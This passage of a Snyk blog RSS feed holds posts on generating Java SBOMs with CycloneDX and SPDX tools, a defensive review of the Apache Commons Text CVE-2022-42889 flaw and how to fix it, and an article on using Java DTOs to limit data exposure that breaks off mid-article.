&lt;p&gt;&lt;a href="https://app.snyk.io/login?cta=sign-up&amp;amp;loc=body&amp;amp;page=unsafe-deserialization-vulnerability-in-snakeyaml-cve-2022-1471" rel="noopener noreferrer"&gt;Sign up for free&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>opensource</category>
      <category>vulnerabilities</category>
      <category>security</category>
    </item>
    <item>
      <title>How to create SBOMs in Java with Maven and Gradle</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Tue, 01 Nov 2022 08:36:16 +0000</pubDate>
      <link>https://forem.com/snyk/how-to-create-sboms-in-java-with-maven-and-gradle-5ffd</link>
      <guid>https://forem.com/snyk/how-to-create-sboms-in-java-with-maven-and-gradle-5ffd</guid>
      <description>&lt;p&gt;When building applications in Java, we highly depend on external libraries and frameworks. And each Java package that is imported likely also depends on more libraries. This means that the amount of Java packages included in your application is often not really transparent. As a developer, these nested (transitive) dependencies create the problem that you probably do not know all the libraries you are actually using. &lt;/p&gt;

&lt;p&gt;Recently, we discussed why and how we should maintain our dependencies carefully. In the article &lt;a href="https://snyk.io/blog/best-practices-for-managing-java-dependencies/"&gt;Best practices for managing Java dependencies&lt;/a&gt;, I discussed the options and tools available for setting up a dependency management strategy. But what if you deliver your Java application to a customer? How do they know what dependencies are included? More importantly, how can they check if the dependencies are not vulnerable to security issues? The answer is a &lt;strong&gt;software bill of materials&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is an SBOM?
&lt;/h2&gt;

&lt;p&gt;A &lt;a href="https://snyk.io/learn/software-bill-of-materials/"&gt;software bill of materials&lt;/a&gt;, often abbreviated as SBOM, is a list of all software components used in an application. The SBOM is made up of third-party open-source libraries, vendor-provided packages, and first-party artifacts built by the organization. You can basically see it as the full list of ingredients for your applications. &lt;/p&gt;

&lt;p&gt;But be careful to not confuse an SBOM with Maven’s Bill Of Materials (BOM). In Maven, a BOM is a special kind of POM file where we can centralize dependencies for an application. In most cases, these dependencies work well together and should be used as a set, like we see in BOMs used in Spring.&lt;/p&gt;

&lt;p&gt;An SBOM is something you create next to your application, so any user or client has a uniform way to find out what your application is using under the hood.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why should I create an SBOM?
&lt;/h2&gt;

&lt;p&gt;There are multiple reasons for creating an SBOM. First of all, you create transparency about what how your application is containing. In most Java applications, 80% to 90% of the produced binary consists of other Java packages like libraries and frameworks. &lt;/p&gt;

&lt;p&gt;Nowadays, we see a lot of &lt;a href="https://snyk.io/blog/preventing-malicious-packages-and-supply-chain-attacks-with-snyk/"&gt;security issues in the supply chain&lt;/a&gt;. The dependencies you use are part of your supply chain, so if a problem is found in one of these libraries, you need to know if an application is vulnerable. Take the recent &lt;a href="https://snyk.io/log4j-vulnerability-resources/"&gt;Log4Shell&lt;/a&gt; and &lt;a href="https://snyk.io/blog/spring4shell-zero-day-rce-spring-framework-explained/"&gt;Spring4Shell&lt;/a&gt; vulnerabilities where certain commonly-used packages were compromised. When an SBOM is provided as part of every release, end users and clients can easily check if vulnerabilities impact them.&lt;/p&gt;

&lt;p&gt;The creation of SBOMs is expected to be something that will be common practice, or sometimes even mandatory, when you deliver software. Therefore we feel it is important to cover how to create these SBOMs for your Java project, which we cover in the remainder of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  SBOM standards: SPDX and CycloneDX
&lt;/h2&gt;

&lt;p&gt;Currently, there are multiple standards for SBOMs. The two most commonly used are SPDX and CycloneDX. Both of these standards provide a way to show the components your application contains.  &lt;/p&gt;

&lt;p&gt;The Software Package Data Exchange (SPDX) is a Linux Foundation collaborative project that provides an open standard for communicating software bill of material information, including provenance, licensing, security, and other related information. The SPDX specification is recognized as the international open standard for security, license compliance, and other software supply chain artifacts as ISO/IEC 5962:2021.  &lt;/p&gt;

&lt;p&gt;CycloneDX is a SBOM standard from the OWASP foundation designed for application security contexts and supply chain component analysis, providing an inventory of all first-party and third-party software components. The specification is rich and extends beyond software libraries to standards such as software as a service bill of materials (SaaSBOM), Vulnerability Exploitability Exchange (VEX), and more. The CycloneDX project provides standards in XML, JSON, and Protocol Buffers, as well as a large &lt;a href="https://cyclonedx.org/tool-center/"&gt;collection of official and community-supported tools&lt;/a&gt; that create or interoperate with the standard.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to create an SBOM in Java
&lt;/h2&gt;

&lt;p&gt;Java is a compiled language, so you should create an SBOM whenever you build a release version of your application. Therefore, creating an SBOM when using one of the Java build systems makes a lot of sense, since your build system downloads all the packages you need to compile and build your application. By using a plugin for Maven or Gradle, you can easily create SBOMs with every release of your binary either on a single machine or as part of your CI pipeline&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating a Java SBOM with Maven
&lt;/h2&gt;

&lt;h3&gt;
  
  
  CycloneDX plugin for Maven
&lt;/h3&gt;

&lt;p&gt;There is a CylconeDX plugin available on Maven central and &lt;a href="https://github.com/CycloneDX/cyclonedx-maven-plugin"&gt;Github&lt;/a&gt; that appears to be well-maintained and commonly used.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;plugins&amp;gt;
   &amp;lt;plugin&amp;gt;
       &amp;lt;groupId&amp;gt;org.cyclonedx&amp;lt;/groupId&amp;gt;
       &amp;lt;artifactId&amp;gt;cyclonedx-maven-plugin&amp;lt;/artifactId&amp;gt;
       &amp;lt;version&amp;gt;2.7.1&amp;lt;/version&amp;gt;
       &amp;lt;executions&amp;gt;
           &amp;lt;execution&amp;gt;
               &amp;lt;phase&amp;gt;package&amp;lt;/phase&amp;gt;
               &amp;lt;goals&amp;gt;
                   &amp;lt;goal&amp;gt;makeAggregateBom&amp;lt;/goal&amp;gt;
               &amp;lt;/goals&amp;gt;
           &amp;lt;/execution&amp;gt;
       &amp;lt;/executions&amp;gt;
       &amp;lt;configuration&amp;gt;
           &amp;lt;projectType&amp;gt;library&amp;lt;/projectType&amp;gt;
           &amp;lt;schemaVersion&amp;gt;1.4&amp;lt;/schemaVersion&amp;gt;
           &amp;lt;includeBomSerialNumber&amp;gt;true&amp;lt;/includeBomSerialNumber&amp;gt;
           &amp;lt;includeCompileScope&amp;gt;true&amp;lt;/includeCompileScope&amp;gt;
           &amp;lt;includeProvidedScope&amp;gt;true&amp;lt;/includeProvidedScope&amp;gt;
           &amp;lt;includeRuntimeScope&amp;gt;true&amp;lt;/includeRuntimeScope&amp;gt;
           &amp;lt;includeSystemScope&amp;gt;true&amp;lt;/includeSystemScope&amp;gt;
           &amp;lt;includeTestScope&amp;gt;false&amp;lt;/includeTestScope&amp;gt;
           &amp;lt;includeLicenseText&amp;gt;false&amp;lt;/includeLicenseText&amp;gt;
           &amp;lt;outputReactorProjects&amp;gt;true&amp;lt;/outputReactorProjects&amp;gt;
           &amp;lt;outputFormat&amp;gt;all&amp;lt;/outputFormat&amp;gt;
           &amp;lt;outputName&amp;gt;CycloneDX-Sbom&amp;lt;/outputName&amp;gt;
       &amp;lt;/configuration&amp;gt;
   &amp;lt;/plugin&amp;gt;
&amp;lt;/plugins&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can configure the CycloneDX plugin in different ways. In this case, I bound the &lt;code&gt;makeAggregateBom&lt;/code&gt; goal of the plugin to the package phase of Maven. After my JAR is created, the plugin will create an SBOM, taking aggregation into account. It excludes the test dependencies and releases the SBOM in both XML and JSON format in my target folder.  &lt;/p&gt;

&lt;p&gt;All dependencies, both direct and transitive, are mentioned in the SBOM individually like below. The &lt;code&gt;jackson-databind&lt;/code&gt; package, in this case, was transitively included in my application via &lt;code&gt;sprint-boot-starter-web&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;component type="library" bom-ref="pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.4?type=jar"&amp;gt;
 &amp;lt;publisher&amp;gt;FasterXML&amp;lt;/publisher&amp;gt;
 &amp;lt;group&amp;gt;com.fasterxml.jackson.core&amp;lt;/group&amp;gt;
 &amp;lt;name&amp;gt;jackson-databind&amp;lt;/name&amp;gt;
 &amp;lt;version&amp;gt;2.13.4&amp;lt;/version&amp;gt;
 &amp;lt;description&amp;gt;General data-binding functionality for Jackson: works on core streaming API&amp;lt;/description&amp;gt;
 &amp;lt;hashes&amp;gt;
   &amp;lt;hash alg="MD5"&amp;gt;03cb7aea126610e4c96ca6d14d75cc55&amp;lt;/hash&amp;gt;
   &amp;lt;hash alg="SHA-1"&amp;gt;98b0edfa8e4084078f10b7b356c300ded4a71491&amp;lt;/hash&amp;gt;
   &amp;lt;hash alg="SHA-256"&amp;gt;c9faff420d9e2c7e1e4711dbeebec2506a32c9942027211c5c293d8d87807eb6&amp;lt;/hash&amp;gt;
   &amp;lt;hash alg="SHA-512"&amp;gt;23f32026b181c6c71efc7789a8420c7d5cbcfb15f7696657e75f9cbe3635d13a88634b5db3c344deb914b719d60e3a9bfc1b63fa23152394e1e70b8e7bcd2116&amp;lt;/hash&amp;gt;
   &amp;lt;hash alg="SHA-384"&amp;gt;e25e844575891b2f3bcb2fdc67ae9fadf54d2836052c9ea2c045f1375eaa97e4780cd6752bef0ebc658fa17400c55268&amp;lt;/hash&amp;gt;
   &amp;lt;hash alg="SHA3-384"&amp;gt;e6955877c2c27327f6814f06d681118be2ae1a36bc5ff2e84ad27f213203bf77c347ba18d9abc61d5f1c99b6e81f6c2d&amp;lt;/hash&amp;gt;
   &amp;lt;hash alg="SHA3-256"&amp;gt;88b12b0643a4791fa5cd0c5e30bc2631903870cf916c8a1b4198c856fd91e5f4&amp;lt;/hash&amp;gt;
   &amp;lt;hash alg="SHA3-512"&amp;gt;7e86a69bcf7b4c8a6949acce0ec15f33b74d5ac604f23cd631ec16bfdfd70d42499028b9d062648b31d7a187ea4dc98ec296a329f4cfd4952744ed1281fa9d9a&amp;lt;/hash&amp;gt;
 &amp;lt;/hashes&amp;gt;
 &amp;lt;licenses&amp;gt;
   &amp;lt;license&amp;gt;
     &amp;lt;id&amp;gt;Apache-2.0&amp;lt;/id&amp;gt;
   &amp;lt;/license&amp;gt;
 &amp;lt;/licenses&amp;gt;
 &amp;lt;purl&amp;gt;pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.4?type=jar&amp;lt;/purl&amp;gt;
 &amp;lt;externalReferences&amp;gt;&amp;lt;reference type="vcs"&amp;gt;&amp;lt;url&amp;gt;http://github.com/FasterXML/jackson-databind&amp;lt;/url&amp;gt;&amp;lt;/reference&amp;gt;&amp;lt;reference type="website"&amp;gt;&amp;lt;url&amp;gt;http://fasterxml.com/&amp;lt;/url&amp;gt;&amp;lt;/reference&amp;gt;&amp;lt;reference type="distribution"&amp;gt;&amp;lt;url&amp;gt;https://oss.sonatype.org/service/local/staging/deploy/maven2/&amp;lt;/url&amp;gt;&amp;lt;/reference&amp;gt;&amp;lt;/externalReferences&amp;gt;
&amp;lt;/component&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SPDX plugin for Maven (prototype)
&lt;/h3&gt;

&lt;p&gt;For SPDX, there is a &lt;a href="https://github.com/spdx/spdx-maven-plugin"&gt;Maven plugin&lt;/a&gt; as well. However, this is still marked as a prototype. In the example below, I used the latest version (at the time of writing) with a similar configuration as mentioned in the GitHub README. Additionally, I bound the SPDX creation task to the package phase, similar to the CycloneDX example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;plugin&amp;gt;
   &amp;lt;groupId&amp;gt;org.spdx&amp;lt;/groupId&amp;gt;
   &amp;lt;artifactId&amp;gt;spdx-maven-plugin&amp;lt;/artifactId&amp;gt;
   &amp;lt;version&amp;gt;0.6.1&amp;lt;/version&amp;gt;
   &amp;lt;executions&amp;gt;
       &amp;lt;execution&amp;gt;
           &amp;lt;id&amp;gt;build-spdx&amp;lt;/id&amp;gt;
           &amp;lt;phase&amp;gt;package&amp;lt;/phase&amp;gt;
           &amp;lt;goals&amp;gt;
               &amp;lt;goal&amp;gt;createSPDX&amp;lt;/goal&amp;gt;
           &amp;lt;/goals&amp;gt;
       &amp;lt;/execution&amp;gt;
   &amp;lt;/executions&amp;gt;
&amp;lt;/plugin&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output by default for this version of the plugin is located in &lt;code&gt;/target/site/{groupId}_{artifactId}-{version}.spdx.json&lt;/code&gt;. As the file extension already suggests, the default output is JSON.&lt;/p&gt;

&lt;p&gt;Browsing through the output, it surprised me that it only contained the top-level dependencies and not the transitive. Now, this plugin is marked as a prototype, so that could be why. Additionally, I might be doing something wrong. However, reading the docs did not give me a clear hint.&lt;/p&gt;

&lt;h3&gt;
  
  
  SPDX CLI tool for Maven
&lt;/h3&gt;

&lt;p&gt;Alternatively, there is command line tool available called &lt;a href="https://github.com/opensbom-generator/spdx-sbom-generator"&gt;spdx-sbom-generator&lt;/a&gt;. This CLI tool can generate SPDX SBOMs for many package managers, including Maven for Java applications. Gradle is currently not supported. &lt;/p&gt;

&lt;p&gt;Calling this tool from the command line without any parameter in the root of my application creates an SBOM for me in the SPDX format. Other outputs like JSON are also supported by using a parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./spdx-sbom-generator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This generated SBOM seems to have all transitive dependencies individually mentioned, as I assumed it should.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;##### Package representing the jackson-databind

PackageName: jackson-databind
SPDXID: SPDXRef-Package-jackson-databind-2.13.4
PackageVersion: 2.13.4
PackageSupplier: Organization: jackson-databind
PackageDownloadLocation: https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind/2.13.4
FilesAnalyzed: false
PackageChecksum: SHA1: 7d03e73aa50d143b3ecbdea2c0c9e158e5ed8021
PackageHomePage: NOASSERTION
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageLicenseComments: NOASSERTION
PackageComment: NOASSERTION

Relationship: SPDXRef-Package-jackson-databind-2.13.4 DEPENDS_ON SPDXRef-Package-jackson-annotations-2.13.4
Relationship: SPDXRef-Package-jackson-databind-2.13.4 DEPENDS_ON SPDXRef-Package-jackson-core-2.13.4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you want to create SBOMs in the SPDX format I would suggest this tool over the prototype plugin.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating a Java SBOM with Gradle
&lt;/h2&gt;

&lt;p&gt;Now let’s take a look at Gradle. While Gradle is less used than Maven, it is still used a substantial amount, and we can definitely say it is a well-adopted build tool in the ecosystem.&lt;/p&gt;

&lt;h3&gt;
  
  
  CycloneDX for Gradle
&lt;/h3&gt;

&lt;p&gt;There is a CyconeDX plugin available for Gradle. Just like the Maven plugin we discussed earlier, the Gradle plugin is released by the &lt;a href="https://github.com/CycloneDX/cyclonedx-gradle-plugin"&gt;CycloneDX organization on Github&lt;/a&gt; with some of the same maintainers as the Maven plugin.  &lt;/p&gt;

&lt;p&gt;To use the plugin just add it to your plugin block in your Gradle file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plugins {
   id 'org.cyclonedx.bom' version '1.7.2'
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can configure the plugin with a &lt;code&gt;cyclonedxBom&lt;/code&gt; block like below&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cyclonedxBom {
   includeConfigs = ["runtimeClasspath"]
   skipConfigs = ["compileClasspath", "testCompileClasspath"]
   projectType = "application"
   schemaVersion = "1.4"
   destination = file("build/reports")
   outputName = "CycloneDX-Sbom"
   outputFormat = "all"
   includeBomSerialNumber = true
   componentVersion = "2.0.0"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, I also added the line &lt;code&gt;build.finalizedBy('cyclonedxBom')&lt;/code&gt; at the end of my Gradle file. Now it will automatically call the &lt;code&gt;cyclonedxBom&lt;/code&gt; target after building my application and behave similarly to the Maven plugin. Obviously, this is up to you if and how you want to connect the plugin target.&lt;/p&gt;

&lt;p&gt;The output is as expected and similar to what we have seen with the Maven plugin. With the configuration shown above, you will find both a JSON and an XML output of the SBOM in your project’s &lt;code&gt;build&lt;/code&gt; folder. So, this plugin is an excellent option for Gradle users to create SBOMs&lt;/p&gt;

&lt;h3&gt;
  
  
  SPDX for Gradle
&lt;/h3&gt;

&lt;p&gt;Unfortunately, we could not find a real plugin to create SPDX-type SBOMs for Gradle projects. Also, third-party CLI tools are either not available or are not correctly working for Gradle-based Java projects. So, for now, there is no easy way to generate SPDX SBOMs for Gradle.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating SBOMs for your Java projects
&lt;/h2&gt;

&lt;p&gt;Building an SBOM when you are building your Java project seems like a practice that will get more popular soon. Letting your build system take care of this makes a lot of sense.&lt;/p&gt;

&lt;p&gt;For both Maven and Gradle, plugins are available that create the SBOMs when building your application. Creating SBOMs together with your Java build artifacts is straightforward using these plugins, as we showed above.&lt;/p&gt;

&lt;h2&gt;
  
  
  Strengthen your software supply chain security
&lt;/h2&gt;

&lt;p&gt;Snyk helps you secure critical components of your software supply chain, including open source libraries, container images, cloud infrastructure, and developer tools.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://snyk.io/solutions/software-supply-chain-security/"&gt;Learn more&lt;/a&gt;&lt;/p&gt;

</description>
      <category>applicationsecurity</category>
      <category>java</category>
      <category>security</category>
    </item>
    <item>
      <title>Reviewing CVE-2022-42889: The arbitrary code execution vulnerability in Apache Commons Text (Text4Shell)</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Tue, 18 Oct 2022 18:09:47 +0000</pubDate>
      <link>https://forem.com/snyk/reviewing-cve-2022-42889-the-arbitrary-code-execution-vulnerability-in-apache-commons-text-1k6j</link>
      <guid>https://forem.com/snyk/reviewing-cve-2022-42889-the-arbitrary-code-execution-vulnerability-in-apache-commons-text-1k6j</guid>
      <description>&lt;p&gt;First things first, let’s be clear that &lt;strong&gt;this is NOT a new Log4Shell or Spring4Shell vulnerability&lt;/strong&gt;. Although it is a remote code execution issue, the impact is neither as severe nor as easily exploitable as the issue in Log4j from December 2021.&lt;/p&gt;

&lt;p&gt;Similar to the Log4j issue, the essence of the problem is that you can perform a lookup that can then be misused. However, the Log4shell vulnerability was very easy to exploit — which is not necessarily the case this time. In reality, this issue is very similar to &lt;a href="https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-2944970"&gt;CVE-2022-33980&lt;/a&gt;, which we wrote &lt;a href="https://snyk.io/blog/cve-2022-33980-apache-commons-configuration-rce-vulnerability/"&gt;an article&lt;/a&gt; about earlier this year.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explaining the Apache commons-text security issues
&lt;/h2&gt;

&lt;p&gt;In the Apache Commons Text library, you can perform the variable interpolation. This allows you to load properties that can be dynamically evaluated. &lt;/p&gt;

&lt;p&gt;The issue is in &lt;code&gt;StringLookup&lt;/code&gt;, which performs the lookups. These lookups are expressions that can resolve dns records, load values from urls, and execute scripts using a JVM script execution engine. These urls and scripts can originate from remote sources triggering remote code executions if untrusted values are used. This is reported as a high severity vulnerability in &lt;a href="https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138"&gt;CVE-2022-42889&lt;/a&gt;, and occurs in versions 1.5.x through 1.9.x.&lt;/p&gt;

&lt;h3&gt;
  
  
  CVE-2022-42889 examples
&lt;/h3&gt;

&lt;p&gt;Below, you see two examples of these kinds of scripts using either the Nashorn or JavaScript engine. Using the &lt;code&gt;interpolatorStringLookup&lt;/code&gt; directly, or via the &lt;code&gt;StringSubstitutor&lt;/code&gt; (which is probably more common), will give the same result.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--O3KGLB3b--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://snyk.io/wp-content/uploads/blog-CVE-2022-42889-examples-1240x513.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--O3KGLB3b--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://snyk.io/wp-content/uploads/blog-CVE-2022-42889-examples-1240x513.jpg" alt="" width="800" height="331"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that the Nashorn scripting engine is no longer available by default in Java 15 and later versions. So, these scripts will only be executed if you provide a script engine yourself. However, because many enterprises still depend on older versions like Java 8, this can be a serious problem. If you are on the latest LTS version Java 17, neither the JavaScript nor the Nashorn script will execute, as there is no engine available by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  Remediation for CVE-2022-42889
&lt;/h2&gt;

&lt;p&gt;Let me again emphasize that this is not Log4Shell all over again. You probably don’t use &lt;code&gt;StringLookup&lt;/code&gt; yourself, but you do not know if any of your transitive libraries are. The easiest way to resolve this issue is upgrading to &lt;code&gt;commons-text&lt;/code&gt; version 1.10 (or later), which disables the &lt;a href="https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea"&gt;prefixes URL, DNS, and script by default&lt;/a&gt; — and making arbitrary code execution impossible via this route.&lt;/p&gt;

&lt;p&gt;Scanning with Snyk can help determine if this vulnerability is present in your stack. If detected, update to version 1.10 and run &lt;code&gt;snyk monitor&lt;/code&gt; in the CLI to continue monitoring in production.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scan your code for free
&lt;/h2&gt;

&lt;p&gt;Create a Snyk account today to protect your code from CVE-2022-42889 and millions of other vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://app.snyk.io/login?cta=sign-up&amp;amp;loc=body&amp;amp;page=reviewing-cve-2022-42889-the-arbitrary-code-execution-vulnerability-in-apache-commons-text"&gt;Sign up for free&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>How to use Java DTOs to stay secure</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Tue, 11 Oct 2022 15:40:36 +0000</pubDate>
      <link>https://forem.com/snyk/how-to-use-java-dtos-to-stay-secure-31gg</link>
      <guid>https://forem.com/snyk/how-to-use-java-dtos-to-stay-secure-31gg</guid>
      <description>&lt;p&gt;Data Transfer Objects (DTOs) in Java are objects that transport data between subsystems. It is an enterprise design pattern to aggregate data. The main purpose is to reduce the number of system calls needed between the subsystems, reducing the amount of overhead created.&lt;/p&gt;

&lt;p&gt;In this article, I will explain how DTOs are used in modern Java applications, ways your application can benefit, and how Java DTOs can help you be more secure by preventing accidental data leaks.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a POJO, Java Bean, and Value Object
&lt;/h2&gt;

&lt;p&gt;As the name already suggested, a Plain Old Java Object (POJO) is an ordinary Java Object. It can be any class and isn’t bound to any specific restrictions other than the ones prescribed by the Java language. They are created for re-usability and increased readability.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

public class CoffeePOJO {

   public String name;
   private List&amp;lt;String&amp;gt; ingredients;

   public CoffeePOJO(String name, List&amp;lt;String&amp;gt; ingredients) {
       this.name = name;
       this.ingredients = ingredients;
   }

   void addIngredient(String ingredient) {
       ingredients.add(ingredient);
   }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;A Java Bean is a POJO according to the &lt;a href="https://www.oracle.com/java/technologies/javase/javabeans-spec.html" rel="noopener noreferrer"&gt;JavaBean standard&lt;/a&gt;. According to this standard, all properties are private, and will be accessed with getter and setter methods. Additionally a no-arg constructor should be present, along with a few more things.&lt;/p&gt;

&lt;p&gt;So, this means that while all Java Beans are POJOs, not all POJOs are Java Beans.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

public class CoffeeBEAN implements Serializable {

   private String name;
   private List&amp;lt;String&amp;gt; ingredients;

   public CoffeeBEAN() {
   }

   public String getName() {
       return name;
   }

   public void setName(String name) {
       this.name = name;
   }

   public List&amp;lt;String&amp;gt; getIngredients() {
       return ingredients;
   }

   public void setIngredients(List&amp;lt;String&amp;gt; ingredients) {
       this.ingredients = ingredients;
   }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;A Value Object is a small object that represents a simple data entity. However, a value object doesn’t typically have an identity. Value objects are not currently available in Java, but JDK maintainers are working to add them &lt;a href="https://openjdk.org/jeps/8277163" rel="noopener noreferrer"&gt;as part of JEP 401&lt;/a&gt;. For now, we have to create a POJO to do the work for us.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementing a Data Transfer Object
&lt;/h2&gt;

&lt;p&gt;A DTO can be implemented as a POJO — or a Java Bean for that matter. The most important thing is that a DTO separates concerns between entities like the presentation layer and the domain model, for example.&lt;/p&gt;

&lt;p&gt;Let’s take a small rest service to explain this. Say we have a coffee store with coffees and customers. Both of these are separate domain entities in the system. If I want to know a customer’s favorite coffee, I’ll create an API that provides the aggregate data represented in the FavoriteCoffeDTO. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-dto-diagram.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-dto-diagram.jpg" alt="Diagram showing how Java DTOs separate the presentation layer and domain layer in an API."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The code looks something like this:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

​​public class Coffee {

   private Long id;
   private String name;
   private List&amp;lt;String&amp;gt; ingredients;
   private String preparation;

}

public class Customer {

   private Long id;
   private String firstName;
   private String lastName;
   private List&amp;lt;Coffee&amp;gt; coffees;

}

public class FavoriteCoffeeDTO {

   private String name;
   private List&amp;lt;String&amp;gt; coffees;

}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;I separated the domain layer from the presentation layer in the implementation above, allowing my controller to now handle mapping the two domain entities to the DTO.  &lt;/p&gt;

&lt;p&gt;In this example, I made the fields private, meaning I have to create getter and setter methods to access the fields. Users often choose to follow the JavaBean standard either completely or partially for DTO. This isn’t mandatory of course, you’re free to choose whatever method suits your needs. Other options include making all fields public and accessing them directly (like the example below), or making the object immutable with an all-args constructor and some getter methods.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

public class FavoriteCoffeeDTO {

   public String name;
   public List&amp;lt;String&amp;gt; coffees;

}

String name = favCoffeeDTO.name;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Lastly, if you updated to a more recent version of Java, you might want to use Java records for your DTO’s. Java Records are simple immutable classes that automatically provide you with an all-args constructor, access methods, toString(), and hashCode() without defining them. This makes your code less verbose and more readable. Notice that records do not follow the Java Bean specification, since the access methods do not have a &lt;code&gt;get&lt;/code&gt; or &lt;code&gt;set&lt;/code&gt; prefix.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

public record FavoriteCoffeeDTO(String name, List&amp;lt;String&amp;gt; coffees) {}

String name = favoriteCoffeeDTO.name();


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  What makes a good DTO?
&lt;/h2&gt;

&lt;p&gt;The purpose of a DTP is to carry data between processes. Therefore, a good DTO only contains the information needed for that specific part of the system. In our API example, we only need to return the name of the customer and their favorite coffee order. There is no need to add anything else, such as business logic. The general advice is to keep your DTOs as simple, small, and straightforward as possible.&lt;/p&gt;

&lt;p&gt;Also after a DTO is initialized, its state shouldn’t change or evolve. This means that an immutable data structure would be a great fit for a DTO. As a DTO only carries data that should be unaltered, a Java Record would be a great fit — especially because JSON serialization libraries like Jackson support Java Records.&lt;/p&gt;
&lt;h2&gt;
  
  
  DTO security considerations
&lt;/h2&gt;

&lt;p&gt;We already noticed that we decouple the Domain model from the presentation layer with this DTO pattern. Simple DTOs that only contain the data needed for this subsystem or API, without any business logic, can also improve your security.  &lt;/p&gt;

&lt;p&gt;What we see in many proofs of concepts is that domain entries are fully outputted. This can lead to unnecessary data being available outside of the system and potential data leaks.&lt;/p&gt;

&lt;p&gt;Say our API has a function to find all customers, but does not use a DTO:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
